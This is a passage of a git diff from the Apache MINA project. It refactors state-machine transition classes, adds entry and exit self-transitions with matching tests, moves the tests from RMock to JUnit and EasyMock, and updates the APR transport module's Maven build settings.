{ public MethodTransition(Object eventId, String methodName, Object target) { this(eventId, null, methodName, target); } - + /** * Creates a new instance with the specified {@link State} as next state * and for the specified {@link Event} id. @@ -157,7 +155,7 @@ public MethodTransition(Object eventId, State nextState, String methodName, Obje super(eventId, nextState); this.target = target; - + Method[] candidates = target.getClass().getMethods(); Method result = null; for (int i = 0; i < candidates.length; i++) { @@ -168,142 +166,164 @@ public MethodTransition(Object eventId, State nextState, String methodName, Obje result = candidates[i]; } } - + if (result == null) { throw new NoSuchMethodException(methodName); } - + this.method = result; } - + /** - * Returns the target {@link Method}. - * - * @return the method. + * @return the target {@link Method}. */ public Method getMethod() { return method; } /** - * Returns the target object. - * * @return the target object. */ public Object getTarget() { return target; } + /** + * {@inheritDoc} + */ + @Override public boolean doExecute(Event event) { Class[] types = method.getParameterTypes(); - + if (types.length == 0) { invokeMethod(EMPTY_ARGUMENTS); + return true; } - + if (types.length > 2 + event.getArguments().length) { return false; } - + Object[] args = new Object[types.length]; - + int i = 0; + if (match(types[i], event, Event.class)) { args[i++] = event; } + if (i < args.length && match(types[i], event.getContext(), StateContext.class)) { args[i++] = event.getContext(); } + Object[] eventArgs = event.getArguments(); + for (int j = 0; i < args.length && j < eventArgs.length; j++) { if (match(types[i], eventArgs[j], Object.class)) { args[i++] = eventArgs[j]; } } - + if (args.length > i) { return false; } - + invokeMethod(args); - + return true; } - - @SuppressWarnings("unchecked") - private boolean match(Class paramType, Object arg, Class argType) { + + private boolean match(Class paramType, Object arg, Class argType) { if (paramType.isPrimitive()) { if (paramType.equals(Boolean.TYPE)) { return arg instanceof Boolean; } + if (paramType.equals(Integer.TYPE)) { return arg instanceof Integer; } + if (paramType.equals(Long.TYPE)) { return arg instanceof Long; } + if (paramType.equals(Short.TYPE)) { return arg instanceof Short; } + if (paramType.equals(Byte.TYPE)) { return arg instanceof Byte; } + if (paramType.equals(Double.TYPE)) { return arg instanceof Double; } + if (paramType.equals(Float.TYPE)) { return arg instanceof Float; } + if (paramType.equals(Character.TYPE)) { return arg instanceof Character; } } - return argType.isAssignableFrom(paramType) - && paramType.isAssignableFrom(arg.getClass()); + + return argType.isAssignableFrom(paramType) && paramType.isAssignableFrom(arg.getClass()); } private void invokeMethod(Object[] arguments) { try { if (LOGGER.isDebugEnabled()) { - LOGGER.debug("Executing method " + method - + " with arguments " + Arrays.asList(arguments)); + LOGGER.debug("Executing method " + method + " with arguments " + Arrays.asList(arguments)); } + method.invoke(target, arguments); } catch (InvocationTargetException ite) { if (ite.getCause() instanceof RuntimeException) { throw (RuntimeException) ite.getCause(); } + throw new MethodInvocationException(method, ite); } catch (IllegalAccessException iae) { throw new MethodInvocationException(method, iae); } } - + + @Override public boolean equals(Object o) { - if (!(o instanceof MethodTransition)) { - return false; - } if (o == this) { return true; } + + if (!(o instanceof MethodTransition)) { + return false; + } + MethodTransition that = (MethodTransition) o; - return new EqualsBuilder() - .appendSuper(super.equals(that)) - .append(method, that.method) - .append(target, that.target) - .isEquals(); + + return method.equals(that.method) && target.equals(that.target); } + @Override public int hashCode() { - return new HashCodeBuilder(13, 33).appendSuper(super.hashCode()).append(method).append(target).toHashCode(); + int h = 17; + h = h*37 + super.hashCode(); + h = h*37 + method.hashCode(); + h = h*37 + target.hashCode(); + + return h; } + @Override public String toString() { - return new ToStringBuilder(this) - .appendSuper(super.toString()) - .append("method", method) - .append("target", target) - .toString(); + StringBuilder sb = new StringBuilder(); + + sb.append("MethodTransition["); + sb.append(super.toString()); + sb.append(",method=").append(method); + sb.append(']'); + + return sb.toString(); } } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoSuchMethodException.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoSuchMethodException.java index 7223f6f1fa..51cff57fcf 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoSuchMethodException.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoSuchMethodException.java @@ -37,5 +37,4 @@ public class NoSuchMethodException extends RuntimeException { public NoSuchMethodException(String methodName) { super(methodName); } - } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoopTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoopTransition.java index f8a8ab5b24..9a8b7db50c 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoopTransition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/NoopTransition.java @@ -49,9 +49,13 @@ public NoopTransition(Object eventId) { public NoopTransition(Object eventId, State nextState) { super(eventId, nextState); } - + + /** + * {@inheritDoc} + */ + @Override protected boolean doExecute(Event event) { return true; } - + } diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/SelfTransition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/SelfTransition.java new file mode 100644 index 0000000000..9047878254 --- /dev/null +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/SelfTransition.java @@ -0,0 +1,40 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.statemachine.transition; + +import org.apache.mina.statemachine.State; +import org.apache.mina.statemachine.context.StateContext; + +/** + * The interface implemented by classes which need to react on entering + * a certain states. + * + * @author Apache MINA Project + */ +public interface SelfTransition { + /** + * Executes this {@link SelfTransition}. + * + * @param stateContext The context in which we are executing the transition + * @param state The current state + * @return true if the execution succeeded, false otherwise. + */ + boolean execute(StateContext stateContext, State state); +} diff --git a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/Transition.java b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/Transition.java index 11a3333adc..d41a12ad4c 100644 --- a/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/Transition.java +++ b/mina-statemachine/src/main/java/org/apache/mina/statemachine/transition/Transition.java @@ -26,6 +26,21 @@ /** * The interface implemented by classes which need to react on transitions * between states. + * + * A Transition must implement two methods + *
      + *
    • execute : a method called when we process the transition
    • + *
    • getNextState : a method that gives the next state for this transition
    • + *
    + * + * Each Transition accepts two parameters : + *
      + *
    • An event ID : this defines the event this transition will accept
    • + *
    • A next state
    • + *
    + * + * The event ID might be '*', which means the transition will accept any event. + * The next state can be null, which means teh next state is the current state. * * @author Apache MINA Project */ @@ -35,20 +50,22 @@ public interface Transition { * {@link Transition} to determine whether it actually applies for the * specified {@link Event}. If this {@link Transition} doesn't apply * nothing should be executed and false must be returned. + * The method will accept any {@link Event} if it is registered with the + * wild card event ID ('*'), and the event ID it is declared for (ie, + * the event ID that has been passed as a parameter to this transition + * constructor.) * * @param event the current {@link Event}. * @return true if the {@link Transition} was executed, * false otherwise. */ boolean execute(Event event); - + /** - * Returns the {@link State} which the {@link StateMachine} should move to + * @return the {@link State} which the {@link StateMachine} should move to * if this {@link Transition} is taken and {@link #execute(Event)} returns - * true. - * - * @return the next {@link State} or null if this - * {@link Transition} is a loopback {@link Transition}. + * true. null if this {@link Transition} is a loopback + * {@link Transition}. */ State getNextState(); } diff --git a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineFactoryTest.java b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineFactoryTest.java index abe0f7f8f0..02a7d96ef7 100644 --- a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineFactoryTest.java +++ b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineFactoryTest.java @@ -40,10 +40,15 @@ */ public class StateMachineFactoryTest { Method barInA; + Method error; + Method fooInA; + Method fooInB; + Method barInC; + Method fooOrBarInCOrFooInD; @Before @@ -82,7 +87,7 @@ public void testCreate() throws Exception { assertEquals(new MethodTransition("bar", barInA, states), trans.get(0)); assertEquals(new MethodTransition("*", error, states), trans.get(1)); assertEquals(new MethodTransition("foo", b, fooInA, states), trans.get(2)); - + trans = b.getTransitions(); assertEquals(1, trans.size()); assertEquals(new MethodTransition("foo", c, fooInB, states), trans.get(0)); @@ -97,7 +102,7 @@ public void testCreate() throws Exception { assertEquals(1, trans.size()); assertEquals(new MethodTransition("foo", fooOrBarInCOrFooInD, states), trans.get(0)); } - + @Test public void testCreateStates() throws Exception { State[] states = StateMachineFactory.createStates(StateMachineFactory.getFields(States.class)); @@ -110,7 +115,7 @@ public void testCreateStates() throws Exception { assertEquals(States.D, states[3].getId()); assertEquals(states[0], states[3].getParent()); } - + @Test public void testCreateStatesMissingParents() throws Exception { try { @@ -119,17 +124,20 @@ public void testCreateStatesMissingParents() throws Exception { } catch (StateMachineCreationException fce) { } } - + public static class States { @org.apache.mina.statemachine.annotation.State protected static final String A = "a"; + @org.apache.mina.statemachine.annotation.State(A) protected static final String B = "b"; + @org.apache.mina.statemachine.annotation.State(B) protected static final String C = "c"; + @org.apache.mina.statemachine.annotation.State(A) protected static final String D = "d"; - + @Transition(on = "bar", in = A) protected void barInA() { } @@ -150,19 +158,22 @@ protected void fooInA() { protected void fooInB() { } - @Transitions( { @Transition(on = { "foo", "bar" }, in = C, next = D), @Transition(on = "foo", in = D) }) + @Transitions({ @Transition(on = { "foo", "bar" }, in = C, next = D), @Transition(on = "foo", in = D) }) protected void fooOrBarInCOrFooInD() { } - + } - + public static class StatesWithMissingParents { @org.apache.mina.statemachine.annotation.State("b") public static final String A = "a"; + @org.apache.mina.statemachine.annotation.State("c") public static final String B = "b"; + @org.apache.mina.statemachine.annotation.State("d") public static final String C = "c"; + @org.apache.mina.statemachine.annotation.State("e") public static final String D = "d"; } diff --git a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineProxyBuilderTest.java b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineProxyBuilderTest.java index 35fc9038e5..750c6178ad 100644 --- a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineProxyBuilderTest.java +++ b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineProxyBuilderTest.java @@ -26,7 +26,11 @@ import org.apache.mina.statemachine.annotation.Transition; import org.apache.mina.statemachine.annotation.Transitions; +import org.apache.mina.statemachine.annotation.OnEntry; +import org.apache.mina.statemachine.annotation.OnExit; +import org.apache.mina.statemachine.context.StateContext; import org.apache.mina.statemachine.event.Event; +import org.apache.mina.statemachine.transition.MethodSelfTransition; import org.apache.mina.statemachine.transition.MethodTransition; import org.junit.Test; @@ -53,7 +57,7 @@ public void testReentrantStateMachine() throws Exception { reentrant.call1(reentrant); assertTrue(handler.finished); } - + @Test public void testTapeDeckStateMachine() throws Exception { TapeDeckStateMachineHandler handler = new TapeDeckStateMachineHandler(); @@ -73,6 +77,15 @@ public void testTapeDeckStateMachine() throws Exception { s4.addTransition(new MethodTransition("eject", s1, "ejected", handler)); s5.addTransition(new MethodTransition("pause", s3, "playing", handler)); + s2.addOnEntrySelfTransaction(new MethodSelfTransition("onEntryS2", handler)); + s2.addOnExitSelfTransaction(new MethodSelfTransition("onExitS2", handler)); + + s3.addOnEntrySelfTransaction(new MethodSelfTransition("onEntryS3", handler)); + s3.addOnExitSelfTransaction(new MethodSelfTransition("onExitS3", handler)); + + s4.addOnEntrySelfTransaction(new MethodSelfTransition("onEntryS4", handler)); + s4.addOnExitSelfTransaction(new MethodSelfTransition("onExitS4", handler)); + StateMachine sm = new StateMachine(new State[] { s1, s2, s3, s4, s5 }, "s1"); TapeDeck player = new StateMachineProxyBuilder().create(TapeDeck.class, sm); player.insert("Kings of convenience - Riot on an empty street"); @@ -85,20 +98,30 @@ public void testTapeDeckStateMachine() throws Exception { LinkedList messages = handler.messages; assertEquals("Tape 'Kings of convenience - Riot on an empty street' inserted", messages.removeFirst()); + assertEquals("S2 entered", messages.removeFirst()); assertEquals("Playing", messages.removeFirst()); + assertEquals("S2 exited", messages.removeFirst()); + assertEquals("S3 entered with stateContext", messages.removeFirst()); assertEquals("Paused", messages.removeFirst()); + assertEquals("S3 exited with stateContext", messages.removeFirst()); assertEquals("Playing", messages.removeFirst()); + assertEquals("S3 entered with stateContext", messages.removeFirst()); assertEquals("Error: Cannot eject at this time", messages.removeFirst()); assertEquals("Stopped", messages.removeFirst()); + assertEquals("S3 exited with stateContext", messages.removeFirst()); + assertEquals("S4 entered with stateContext and state", messages.removeFirst()); assertEquals("Tape ejected", messages.removeFirst()); + assertEquals("S4 exited with stateContext and state", messages.removeFirst()); + assertTrue(messages.isEmpty()); } - + @Test public void testTapeDeckStateMachineAnnotations() throws Exception { TapeDeckStateMachineHandler handler = new TapeDeckStateMachineHandler(); - StateMachine sm = StateMachineFactory.getInstance(Transition.class).create(TapeDeckStateMachineHandler.S1, handler); + StateMachine sm = StateMachineFactory.getInstance(Transition.class).create(TapeDeckStateMachineHandler.S1, + handler); TapeDeck player = new StateMachineProxyBuilder().create(TapeDeck.class, sm); player.insert("Kings of convenience - Riot on an empty street"); @@ -111,18 +134,29 @@ public void testTapeDeckStateMachineAnnotations() throws Exception { LinkedList messages = handler.messages; assertEquals("Tape 'Kings of convenience - Riot on an empty street' inserted", messages.removeFirst()); + assertEquals("S2 entered", messages.removeFirst()); assertEquals("Playing", messages.removeFirst()); + assertEquals("S2 exited", messages.removeFirst()); + assertEquals("S3 entered with stateContext", messages.removeFirst()); assertEquals("Paused", messages.removeFirst()); + assertEquals("S3 exited with stateContext", messages.removeFirst()); assertEquals("Playing", messages.removeFirst()); + assertEquals("S3 entered with stateContext", messages.removeFirst()); assertEquals("Error: Cannot eject at this time", messages.removeFirst()); assertEquals("Stopped", messages.removeFirst()); + assertEquals("S3 exited with stateContext", messages.removeFirst()); + assertEquals("S4 entered with stateContext and state", messages.removeFirst()); assertEquals("Tape ejected", messages.removeFirst()); + assertEquals("S4 exited with stateContext and state", messages.removeFirst()); + assertTrue(messages.isEmpty()); } - + public interface Reentrant { void call1(Reentrant proxy); + void call2(Reentrant proxy); + void call3(Reentrant proxy); } @@ -144,22 +178,67 @@ public void call3(Reentrant proxy) { public interface TapeDeck { void insert(String name); + void eject(); + void start(); + void pause(); + void stop(); } - + public static class TapeDeckStateMachineHandler { - @org.apache.mina.statemachine.annotation.State public static final String PARENT = "parent"; - @org.apache.mina.statemachine.annotation.State(PARENT) public static final String S1 = "s1"; - @org.apache.mina.statemachine.annotation.State(PARENT) public static final String S2 = "s2"; - @org.apache.mina.statemachine.annotation.State(PARENT) public static final String S3 = "s3"; - @org.apache.mina.statemachine.annotation.State(PARENT) public static final String S4 = "s4"; - @org.apache.mina.statemachine.annotation.State(PARENT) public static final String S5 = "s5"; - - private LinkedList messages = new LinkedList(); - + @org.apache.mina.statemachine.annotation.State + public static final String PARENT = "parent"; + + @org.apache.mina.statemachine.annotation.State(PARENT) + public static final String S1 = "s1"; + + @org.apache.mina.statemachine.annotation.State(PARENT) + public static final String S2 = "s2"; + + @org.apache.mina.statemachine.annotation.State(PARENT) + public static final String S3 = "s3"; + + @org.apache.mina.statemachine.annotation.State(PARENT) + public static final String S4 = "s4"; + + @org.apache.mina.statemachine.annotation.State(PARENT) + public static final String S5 = "s5"; + + private LinkedList messages = new LinkedList<>(); + + @OnEntry(S2) + public void onEntryS2() { + messages.add("S2 entered"); + } + + @OnExit(S2) + public void onExitS2() { + messages.add("S2 exited"); + } + + @OnEntry(S3) + public void onEntryS3(StateContext stateContext) { + messages.add("S3 entered with stateContext"); + } + + @OnExit(S3) + public void onExitS3(StateContext stateContext) { + messages.add("S3 exited with stateContext"); + } + + @OnEntry(S4) + public void onEntryS4(StateContext stateContext, State state) { + messages.add("S4 entered with stateContext and state"); + } + + @OnExit(S4) + public void onExitS4(StateContext stateContext, State state) { + messages.add("S4 exited with stateContext and state"); + } + @Transition(on = "insert", in = "s1", next = "s2") public void inserted(String name) { messages.add("Tape '" + name + "' inserted"); @@ -169,13 +248,13 @@ public void inserted(String name) { public void ejected() { messages.add("Tape ejected"); } - - @Transitions({@Transition( on = "start", in = "s2", next = "s3" ), - @Transition( on = "pause", in = "s5", next = "s3" )}) + + @Transitions({ @Transition(on = "start", in = "s2", next = "s3"), + @Transition(on = "pause", in = "s5", next = "s3") }) public void playing() { messages.add("Playing"); } - + @Transition(on = "pause", in = "s3", next = "s5") public void paused() { messages.add("Paused"); diff --git a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineTest.java b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineTest.java index abb452fe63..f9b154cdc3 100644 --- a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineTest.java +++ b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateMachineTest.java @@ -25,6 +25,7 @@ import org.apache.mina.statemachine.context.DefaultStateContext; import org.apache.mina.statemachine.context.StateContext; import org.apache.mina.statemachine.event.Event; +import org.apache.mina.statemachine.transition.AbstractSelfTransition; import org.apache.mina.statemachine.transition.AbstractTransition; import org.junit.Test; @@ -46,7 +47,7 @@ public void testBreakAndContinue() throws Exception { sm.handle(new Event("foo", context)); assertEquals(true, context.getAttribute("success")); } - + @Test public void testBreakAndGotoNow() throws Exception { State s1 = new State("s1"); @@ -59,7 +60,7 @@ public void testBreakAndGotoNow() throws Exception { sm.handle(new Event("foo", context)); assertEquals(true, context.getAttribute("success")); } - + @Test public void testBreakAndGotoNext() throws Exception { State s1 = new State("s1"); @@ -87,10 +88,11 @@ public SuccessTransition(Object eventId, State nextState) { @Override protected boolean doExecute(Event event) { event.getContext().setAttribute("success", true); + return true; } } - + private static class BreakAndContinueTransition extends AbstractTransition { public BreakAndContinueTransition(Object eventId) { super(eventId); @@ -103,10 +105,11 @@ public BreakAndContinueTransition(Object eventId, State nextState) { @Override protected boolean doExecute(Event event) { StateControl.breakAndContinue(); + return true; } } - + private static class BreakAndGotoNowTransition extends AbstractTransition { private final String stateId; @@ -120,9 +123,13 @@ public BreakAndGotoNowTransition(Object eventId, State nextState, String stateId this.stateId = stateId; } + /** + * {@inheritDoc} + */ @Override protected boolean doExecute(Event event) { StateControl.breakAndGotoNow(stateId); + return true; } } @@ -140,10 +147,46 @@ public BreakAndGotoNextTransition(Object eventId, State nextState, String stateI this.stateId = stateId; } + /** + * {@inheritDoc} + */ @Override protected boolean doExecute(Event event) { StateControl.breakAndGotoNext(stateId); + return true; } } + + private static class SampleSelfTransition extends AbstractSelfTransition { + public SampleSelfTransition() { + super(); + } + + @Override + protected boolean doExecute(StateContext stateContext, State state) { + stateContext.setAttribute("SelfSuccess" + state.getId(), true); + return true; + } + + } + + @Test + public void testOnEntry() throws Exception { + State s1 = new State("s1"); + State s2 = new State("s2"); + + s1.addTransition(new SuccessTransition("foo", s2)); + s1.addOnExitSelfTransaction(new SampleSelfTransition()); + s2.addOnEntrySelfTransaction(new SampleSelfTransition()); + + StateContext context = new DefaultStateContext(); + StateMachine sm = new StateMachine(new State[] { s1, s2 }, "s1"); + sm.handle(new Event("foo", context)); + assertEquals(true, context.getAttribute("success")); + assertEquals(true, context.getAttribute("SelfSuccess" + s1.getId())); + assertEquals(true, context.getAttribute("SelfSuccess" + s2.getId())); + + } + } diff --git a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateTest.java b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateTest.java index 580da971c6..d29bc99568 100644 --- a/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateTest.java +++ b/mina-statemachine/src/test/java/org/apache/mina/statemachine/StateTest.java @@ -19,26 +19,32 @@ */ package org.apache.mina.statemachine; -import org.apache.mina.statemachine.State; import org.apache.mina.statemachine.transition.Transition; -import org.junit.BeforeClass; +import org.junit.Before; import org.junit.Test; - -import com.agical.rmock.extension.junit.RMockTestCase; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertSame; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import static org.easymock.EasyMock.mock; /** * Tests {@link State}. * * @author Apache MINA Project */ -public class StateTest extends RMockTestCase { - State state; - Transition transition1; - Transition transition2; - Transition transition3; +public class StateTest { + private State state; + + private Transition transition1; + + private Transition transition2; - @BeforeClass - protected void setUp() throws Exception { + private Transition transition3; + + @Before + public void setUp() throws Exception { state = new State("test"); transition1 = (Transition) mock(Transition.class); transition2 = transition1; //(Transition) mock(Transition.class); @@ -65,7 +71,7 @@ public void testUnweightedTransitions() throws Exception { assertSame(transition2, state.getTransitions().get(1)); assertSame(transition3, state.getTransitions().get(2)); } - + @Test public void testWeightedTransitions() throws Exception { assertTrue(state.getTransitions().isEmpty()); @@ -91,5 +97,4 @@ public void testAddNullTransitionThrowsException() throws Exception { } catch (IllegalArgumentException npe) { } } - } diff --git a/mina-statemachine/src/test/java/org/apache/mina/statemachine/context/AbstractStateContextLookupTest.java b/mina-statemachine/src/test/java/org/apache/mina/statemachine/context/AbstractStateContextLookupTest.java index abe2692e2c..7d428db781 100644 --- a/mina-statemachine/src/test/java/org/apache/mina/statemachine/context/AbstractStateContextLookupTest.java +++ b/mina-statemachine/src/test/java/org/apache/mina/statemachine/context/AbstractStateContextLookupTest.java @@ -34,29 +34,30 @@ public class AbstractStateContextLookupTest { @Test public void testLookup() throws Exception { - Map map = new HashMap(); - AbstractStateContextLookup lookup = new AbstractStateContextLookup( - new DefaultStateContextFactory()) { + Map map = new HashMap<>(); + AbstractStateContextLookup lookup = new AbstractStateContextLookup(new DefaultStateContextFactory()) { protected boolean supports(Class c) { return Map.class.isAssignableFrom(c); } + @SuppressWarnings("unchecked") protected StateContext lookup(Object eventArg) { Map map = (Map) eventArg; return map.get("context"); } + @SuppressWarnings("unchecked") protected void store(Object eventArg, StateContext context) { Map map = (Map) eventArg; map.put("context", context); } }; - Object[] args1 = new Object[] {new Object(), map, new Object()}; - Object[] args2 = new Object[] {map, new Object()}; + Object[] args1 = new Object[] { new Object(), map, new Object() }; + Object[] args2 = new Object[] { map, new Object() }; StateContext sc = lookup.lookup(args1); assertSame(map.get("context"), sc); assertSame(map.get("context"), lookup.lookup(args1)); assertSame(map.get("context"), lookup.lookup(args2)); } - + } diff --git a/mina-statemachine/src/test/java/org/apache/mina/statemachine/transition/MethodTransitionTest.java b/mina-statemachine/src/test/java/org/apache/mina/statemachine/transition/MethodTransitionTest.java index 6c90c23cd3..cccfbe5243 100644 --- a/mina-statemachine/src/test/java/org/apache/mina/statemachine/transition/MethodTransitionTest.java +++ b/mina-statemachine/src/test/java/org/apache/mina/statemachine/transition/MethodTransitionTest.java @@ -24,126 +24,145 @@ import org.apache.mina.statemachine.State; import org.apache.mina.statemachine.context.StateContext; import org.apache.mina.statemachine.event.Event; -import org.apache.mina.statemachine.transition.MethodTransition; +import org.junit.Before; +import org.junit.Test; -import com.agical.rmock.extension.junit.RMockTestCase; +import static org.easymock.EasyMock.mock; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; /** * Tests {@link MethodTransition}. * * @author Apache MINA Project */ -public class MethodTransitionTest extends RMockTestCase { +public class MethodTransitionTest { State currentState; + State nextState; + TestStateContext context; + Target target; + Method subsetAllArgsMethod1; + Method subsetAllArgsMethod2; + Event noArgsEvent; + Event argsEvent; + Object[] args; - - protected void setUp() throws Exception { - super.setUp(); - - currentState = new State( "current" ); - nextState = new State( "next" ); + + @Before + public void setUp() throws Exception { + currentState = new State("current"); + nextState = new State("next"); target = (Target) mock(Target.class); - subsetAllArgsMethod1 = Target.class.getMethod("subsetAllArgs", new Class[] { - TestStateContext.class, B.class, A.class, Integer.TYPE - }); - subsetAllArgsMethod2 = Target.class.getMethod("subsetAllArgs", new Class[] { - Event.class, B.class, B.class, Boolean.TYPE - }); - + subsetAllArgsMethod1 = Target.class.getMethod("subsetAllArgs", new Class[] { TestStateContext.class, B.class, + A.class, Integer.TYPE }); + subsetAllArgsMethod2 = Target.class.getMethod("subsetAllArgs", new Class[] { Event.class, B.class, B.class, + Boolean.TYPE }); + args = new Object[] { new A(), new B(), new C(), new Integer(627438), Boolean.TRUE }; context = (TestStateContext) mock(TestStateContext.class); noArgsEvent = new Event("event", context, new Object[0]); argsEvent = new Event("event", context, args); } + @Test public void testExecuteWrongEventId() throws Exception { - startVerification(); MethodTransition t = new MethodTransition("otherEvent", nextState, "noArgs", target); assertFalse(t.execute(noArgsEvent)); } - + + @Test public void testExecuteNoArgsMethodOnNoArgsEvent() throws Exception { target.noArgs(); - startVerification(); MethodTransition t = new MethodTransition("event", nextState, "noArgs", target); assertTrue(t.execute(noArgsEvent)); } - + + @Test public void testExecuteNoArgsMethodOnArgsEvent() throws Exception { target.noArgs(); - startVerification(); MethodTransition t = new MethodTransition("event", nextState, "noArgs", target); assertTrue(t.execute(argsEvent)); } - + + @Test public void testExecuteExactArgsMethodOnNoArgsEvent() throws Exception { - startVerification(); MethodTransition t = new MethodTransition("event", nextState, "exactArgs", target); assertFalse(t.execute(noArgsEvent)); } - + + @Test public void testExecuteExactArgsMethodOnArgsEvent() throws Exception { - target.exactArgs((A) args[0], (B) args[1], (C) args[2], - ((Integer) args[3]).intValue(), ((Boolean) args[4]).booleanValue()); - startVerification(); + target.exactArgs((A) args[0], (B) args[1], (C) args[2], ((Integer) args[3]).intValue(), + ((Boolean) args[4]).booleanValue()); MethodTransition t = new MethodTransition("event", nextState, "exactArgs", target); assertTrue(t.execute(argsEvent)); } - + + @Test public void testExecuteSubsetExactArgsMethodOnNoArgsEvent() throws Exception { - startVerification(); MethodTransition t = new MethodTransition("event", nextState, "subsetExactArgs", target); assertFalse(t.execute(noArgsEvent)); } - + + @Test public void testExecuteSubsetExactArgsMethodOnArgsEvent() throws Exception { target.subsetExactArgs((A) args[0], (A) args[1], ((Integer) args[3]).intValue()); - startVerification(); MethodTransition t = new MethodTransition("event", nextState, "subsetExactArgs", target); assertTrue(t.execute(argsEvent)); } - + + @Test public void testExecuteAllArgsMethodOnArgsEvent() throws Exception { - target.allArgs(argsEvent, context, (A) args[0], (B) args[1], (C) args[2], - ((Integer) args[3]).intValue(), ((Boolean) args[4]).booleanValue()); - startVerification(); + target.allArgs(argsEvent, context, (A) args[0], (B) args[1], (C) args[2], ((Integer) args[3]).intValue(), + ((Boolean) args[4]).booleanValue()); MethodTransition t = new MethodTransition("event", nextState, "allArgs", target); assertTrue(t.execute(argsEvent)); } - + + @Test public void testExecuteSubsetAllArgsMethod1OnArgsEvent() throws Exception { target.subsetAllArgs(context, (B) args[1], (A) args[2], ((Integer) args[3]).intValue()); - startVerification(); MethodTransition t = new MethodTransition("event", nextState, subsetAllArgsMethod1, target); assertTrue(t.execute(argsEvent)); } - + + @Test public void testExecuteSubsetAllArgsMethod2OnArgsEvent() throws Exception { target.subsetAllArgs(argsEvent, (B) args[1], (B) args[2], ((Boolean) args[4]).booleanValue()); - startVerification(); MethodTransition t = new MethodTransition("event", nextState, subsetAllArgsMethod2, target); assertTrue(t.execute(argsEvent)); } - + public interface Target { void noArgs(); + void exactArgs(A a, B b, C c, int integer, boolean bool); + void allArgs(Event event, StateContext ctxt, A a, B b, C c, int integer, boolean bool); + void subsetExactArgs(A a, A b, int integer); + void subsetAllArgs(TestStateContext ctxt, B b, A c, int integer); + void subsetAllArgs(Event event, B b, B c, boolean bool); } - - public interface TestStateContext extends StateContext {} - - public static class A {} - public static class B extends A {} - public static class C extends B {} + + public interface TestStateContext extends StateContext { + } + + public static class A { + } + + public static class B extends A { + } + + public static class C extends B { + } } diff --git a/mina-transport-apr/pom.xml b/mina-transport-apr/pom.xml index 00ac53a4b2..db647ac699 100644 --- a/mina-transport-apr/pom.xml +++ b/mina-transport-apr/pom.xml @@ -22,17 +22,13 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-transport-apr Apache MINA APR Transport bundle - - ${project.groupId}.transport.socket.apr - - ${project.groupId} @@ -42,9 +38,40 @@ - tomcat - tomcat-apr + org.apache.tomcat + tomcat-jni + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.transport.apr + + org.apache.mina.transport.socket.apr;version=${project.version};-noimport:=true + + + org.apache.mina.core;version=${project.version}, + org.apache.mina.core.buffer;version=${project.version}, + org.apache.mina.core.file;version=${project.version}, + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.polling;version=${project.version}, + org.apache.mina.core.service;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.apache.mina.transport.socket;version=${project.version}, + org.apache.tomcat.jni;version=${version.tomcat.jni} + + + + + + diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprDatagramSession.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprDatagramSession.java index 055bfcbf5d..62a9e9ccb0 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprDatagramSession.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprDatagramSession.java @@ -40,23 +40,16 @@ */ class AprDatagramSession extends AprSession { - static final TransportMetadata METADATA = - new DefaultTransportMetadata( - "apr", "datagram", true, false, - InetSocketAddress.class, - DatagramSessionConfig.class, IoBuffer.class); - - private final DatagramSessionConfig config = new SessionConfigImpl(); + static final TransportMetadata METADATA = new DefaultTransportMetadata("apr", "datagram", true, false, + InetSocketAddress.class, DatagramSessionConfig.class, IoBuffer.class); /** * Create an instance of {@link AprDatagramSession}. - * - * {@inheritDoc} - */ - 